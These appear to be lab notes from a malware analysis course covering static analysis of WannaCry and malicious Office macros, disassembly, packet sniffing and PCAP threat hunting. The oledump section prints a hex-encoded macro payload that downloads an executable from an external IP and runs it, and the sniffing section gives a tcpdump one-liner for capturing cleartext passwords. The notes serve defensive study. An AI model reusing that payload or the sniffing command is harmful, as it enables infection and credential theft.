Advanced Malware Analysis 2020
Advanced Malware Analysis 2020
Advanced Malware Analysis 2020
- Here is a good tutorial that you should complete before doing the labs below:
http://linuxsurvival.com/linux-tutorial-introduction/
EDR Solution
------------
2. Dynamic Analysis
Runs the file in a VM/Sandbox
################
# The Scenario #
################
You've come across a file that has been flagged by one of your security products
(AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
###################
# Static Analysis #
###################
---------------------------Type This-----------------------------------
cd ~/static_analysis
file wannacry.exe
cp wannacry.exe malware.pdf
file malware.pdf
hexdump -n 2 -C wannacry.exe
----------------------------------------------------------------------
---------------------------Type This-----------------------------------
cd ~/static_analysis
objdump -x wannacry.exe
strings wannacry.exe
Reference
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-
ransomware-outbreak/
- Yara Rule -
Strings:
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
$s2 = “Wanna Decryptor” wide ascii nocase
$s3 = “.wcry” wide ascii nocase
$s4 = “WANNACRY” wide ascii nocase
$s5 = “WANACRY!” wide ascii nocase
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
---------------------------Type This-----------------------------------
cd ~/static_analysis
####################################
# Tired of GREP - let's try Python #
####################################
Decided to make my own script for this kind of stuff in the future. This is a
really good script for the basics of static analysis
Reference:
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
This is really good for showing some good signatures to add to the Python script
---------------------------Type This-----------------------------------
cd ~/static_analysis
nano am.py
#####################################################
# Analyzing Macro Embedded Malware #
#####################################################
---------------------------Type This-----------------------------------
cd ~/static_analysis/oledump
- From this we can see this Word doc contains an embedded file called editdata.mso
which contains seven data streams.
- Three of the data streams are flagged as macros: A3:’VBA/Module1′,
A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A5 -v
-----------------------------------------------------------------------
- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical
functions designed to confuse heuristic scanners.
---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A3 -v
636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C6963792062797
0617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562
436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6
173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E6361622729
3B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A4
94F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F4948
2E6578653B
- Take that long blob that starts with 636D and finishes with 653B and paste it in:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
-----------------------------------------------------------------------
#########################################
# Security Operations Center Job Roles #
# Intrusion Analysis Level 1 #
#########################################
Required Technical Skills: Comfortable with basic Linux/Windows
(MCSA/Linux+)
Comfortable with basic network
(Network+)
Comfortable with security
fundamentals (Security+)
#########################################
# Security Operations Center Job Roles #
# Intrusion Analysis Level 2 #
#########################################
#########################################
# Security Operations Center Job Roles #
# Intrusion Analysis Level 3 #
#########################################
-----------------------------------------------------------------------------------
--------------------------------------
#######################
# Passive Recon #
# aka: OSINT #
# aka: Footprinting #
#######################
- Wikipedia Page
- Are they Public or Private?
- Does the target have any subsidiaries?
- Have they had any scandals?
- Robtex
- Show system map
- Misc
OSINT on a hacker group:
https://en.wikipedia.org/wiki/Anonymous_(group)
https://en.wikipedia.org/wiki/LulzSec
A yes to these should help you determine whether you want to do dynamic
analysis or not
- Registry
- Service
- Scheduled task
##############
# Class task #
##############
Task 1: Go to https://joesecurity.org/joe-sandbox-reports
Identify 5 reports for malware that are similar to what you've seen or been
concerned about in your environment
1. Maze
2. Bad rabbit
3. Trojanized Adobe Installer
4. Emotel
5. bitcoin miner
---------------------------Type This-----------------------------------
cd /home/ama/malware_samples/office-doc_files
file sample1.doc
olevba sample1.doc
What is oledump.py?
===================
Reference: https://blog.didierstevens.com/programs/oledump-py/
oledump.py is a program to analyze OLE files (Compound File Binary Format). These
files contain streams of data. oledump allows you to analyze these streams.
Many applications use this file format, the best known is MS Office. .doc, .xls,
.ppt, … are OLE files (docx, xlsx, … is the new file format: XML inside ZIP).
What is olevba?
===============
Reference: https://github.com/decalage2/oletools/wiki/olevba
olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g.
Word, Excel), to detect VBA Macros, extract their source code in clear text, and
detect security-related patterns such as auto-executable macros, suspicious VBA
keywords used by malware, anti-sandboxing and anti-virtualization techniques, and
potential IOCs (IP addresses, URLs, executable filenames, etc). It also detects and
decodes several common obfuscation methods including Hex encoding, StrReverse,
Base64, Dridex, VBA expressions, and extracts IOCs from decoded strings. XLM/Excel
4 Macros are also supported in Excel and SLK files.
It can be used either as a command-line tool, or as a python module from your own
applications.
---------------------------Type This-----------------------------------
python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A7 -v
---------------------------Type This-----------------------------------
olevba sample1.doc --decode
###########
############################## EXE Files ###############################
###########
---------------------------Type This-----------------------------------
cd /home/ama/malware_samples/exe_files
objdump -x sample1.exe
strings sample1.exe
Reference: https://github.com/joxeankoret/pyew
---------------------------Type This-----------------------------------
pyew sample1.exe
[0x00000000]> ?
[0x00000000]> md5
[0x00000000]> sha256
[0x00000000]> url
[0x00000000]> chkurl
----------------------------------------------------------------------
Since this is a PE file, let's do some stuff that's specific for exe files
Now, let's see the disassembly at the entry point so, seek to the entry point:
---------------------------Type This-----------------------------------
[0x00000000]> s ep
-----------------------------------------------------------------------
And disassemble it with the command "c" (you may also use "d", "dis" or "pd"):
---------------------------Type This-----------------------------------
[0x00025ce0:0x00426ae0]> c
-----------------------------------------------------------------------
To see the code at the function's position, just type the number assigned to the
function (the number after the ";" character):
---------------------------Type This-----------------------------------
[0x00025ce0:0x00426ae0]> 1
[0x00025d07:0x00426b07]> 2
-----------------------------------------------------------------------
OK, we're done analyzing this function. To go back to the prior point (the entry
point in our case) we can type "b" to go back:
---------------------------Type This-----------------------------------
[0x00025d07:0x00426b07]> b
-----------------------------------------------------------------------
To continue seeing more disassembly just press the enter key to see the next
block's disasembly (BTW, if the last command was "x" to show the hexadecimal dump,
by pressing enter you would see the next block's hexadecimal dump):
#########################
----------- ############### # Playing with packets # ############### -----------
#########################
####################
# Intro to TCPDump #
####################
---------------------------Type This-----------------------------------
sudo apt-get install -y tcpdump lynx
-----------------------------------------------------------------------
Basic sniffing
--------------
---------------------------Type This-----------------------------------
sudo tcpdump -n
-----------------------------------------------------------------------
Now lets increase the display resolution of this packet, or get more details about
it. The verbose switch comes in handy
---------------------------Type This-----------------------------------
sudo tcpdump -v -n
-----------------------------------------------------------------------
---------------------------Type This-----------------------------------
$ sudo tcpdump -n tcp
------------------------------------------------------------------------
Particular host or port
-----------------------
Expressions can be used to specify source ip, destination ip, and port numbers. The
next example picks up all those packets with source address 192.168.1.101
---------------------------Type This-----------------------------------
$ sudo tcpdump -n 'src 192.168.1.101'
------------------------------------------------------------------------
Next example picks up dns request packets, either those packets which originate
from local machine and go to port 53 of some other machine.
---------------------------Type This-----------------------------------
$ sudo tcpdump -n 'udp and dst port 53'
------------------------------------------------------------------------
Grep can be used along with tcpdump to search the network traffic. Here is a very
simple example
---------------------------Type This-----------------------------------
$ sudo tcpdump -n -A | grep -e 'POST'
------------------------------------------------------------------------
So what is the idea behind searching packets. Well one good thing can be to sniff
passwords.
Here is quick example to sniff passwords using egrep
---------------------------Type This-----------------------------------
tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep
-i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|
user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
------------------------------------------------------------------------
#########
# NGrep #
#########
Reference:
https://dl.packetstormsecurity.net/papers/general/ngreptut.txt
---------------------------Type This-----------------------------------
$ sudo ngrep -d ens3 -n 3
This will let you monitor all activity crossing source or destination port 25
(SMTP).
---------------------------Type This-----------------------------------
$ sudo ngrep -wi -d wlan0 'user|pass' port 6667
###############################
----------- ############### # Threat Hunting on the wire # ###############
-----------
###############################
##################################################################
# Analyzing a PCAP Prads #
# Note: run as regular user #
##################################################################
mkdir pcap_analysis/
cd ~/pcap_analysis/
mkdir prads
cd ~/pcap_analysis/prads
wget http://45.63.104.73/suspicious-time.pcap
prads -r suspicious-time.pcap -l prads-asset.log
##################################
# PCAP Analysis with ChaosReader #
# Note: run as regular user #
##################################
---------------------------Type this as a regular
user----------------------------------
cd ~
mkdir -p pcap_analysis/chaos_reader/
cd ~/pcap_analysis/chaos_reader/
wget http://45.63.104.73/suspicious-time.pcap
wget http://45.63.104.73/chaosreader.pl
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4,
$5, $6}' | sort | uniq -c | sort -nr
wget https://raw.githubusercontent.com/Open-Sec/forensics-scripts/master/check-
urls-virustotal.py
------------------------------------------------------------------------
#############################
# PCAP Analysis with tshark #
# Note: run as regular user #
#############################
---------------------------Type this as a regular
user---------------------------------
cd ~/pcap_analysis/
mkdir tshark
cd ~/pcap_analysis/tshark
wget http://45.63.104.73/suspicious-time.pcap
whois rapidshare.com.eyu32.ru
whois sploitme.com.cn
###############################
# Extracting files from PCAPs #
# Note: run as regular user #
###############################
---------------------------Type this as a regular
user---------------------------------
sudo apt install -y foremost
cd ~/pcap_analysis/
mkdir extract_files
cd extract_files
wget http://45.63.104.73/suspicious-time.pcap
foremost -v -i suspicious-time.pcap
cd output
ls
cat audit.txt
cd exe
wget https://raw.githubusercontent.com/GREEKYnikhilsharma/Xen0ph0n-
VirusTotal_API_Tool-Python3/master/vtlite.py
******* NOTE: You will need to put your virustotal API key in vtlite.py *******
###################################
# Setting up Suricata #
# Note: run as root user #
###################################
Here is where we will setup all of the required dependencies for the tools we plan
to install
---------------------------Type this as root--------------------------
apt update
apt-get install -y libpcre3-dbg libpcre3-dev autoconf automake libtool libpcap-dev
libnet1-dev libyaml-dev libjansson4 libcap-ng-dev libmagic-dev libjansson-dev
zlib1g-dev libnetfilter-queue-dev libnetfilter-queue1 libnfnetlink-dev cmake make
gcc g++ flex bison libpcap-dev libssl-dev unzip python-dev swig zlib1g-dev sendmail
sendmail-bin prads tcpflow python-scapy python-yara tshark whois jq prads foremost
python3-dnspython
-----------------------------------------------------------------------
Now we install Suricata
---------------------------Type this as root-------------------------------
cd /root/
wget https://www.openinfosecfoundation.org/download/suricata-4.0.5.tar.gz
cd suricata-4.0.5
make
make install
make install-conf
cd rules
cp *.rules /etc/suricata/rules/
cd /etc/suricata/
wget https://rules.emergingthreats.net/open/suricata-4.0/emerging.rules.tar.gz
###############################
# PCAP Analysis with Suricata #
# Note: run as root #
###############################
--------------------------Type this as root--------------------------------
cd ~
mkdir suricata/
cd suricata/
wget http://45.63.104.73/suspicious-time.pcap
cd suri/
cat xx01
cat xx02
cat xx03
cat xx04
cat xx05
cat xx06
------------------------------------------------------------------------
#############################
# PCAP Analysis with Yara #
# Note: run as regular user #
#############################
-------------------------Type this as a regular
user----------------------------------
cd ~/pcap_analysis/
cd YaraPcap/
wget http://45.63.104.73/suspicious-time.pcap
wget https://github.com/Yara-Rules/rules/archive/master.zip
unzip master.zip
cd rules-master/
ls
cat index.yar
clear
./index_gen.sh
cd ..
mkdir matching_files/
whereis tcpflow
vim yaraPcap.py **** fix line 35 with correct path to tcpflow ****
cd matching_files/
ls
cat report.txt
------------------------------------------------------------------------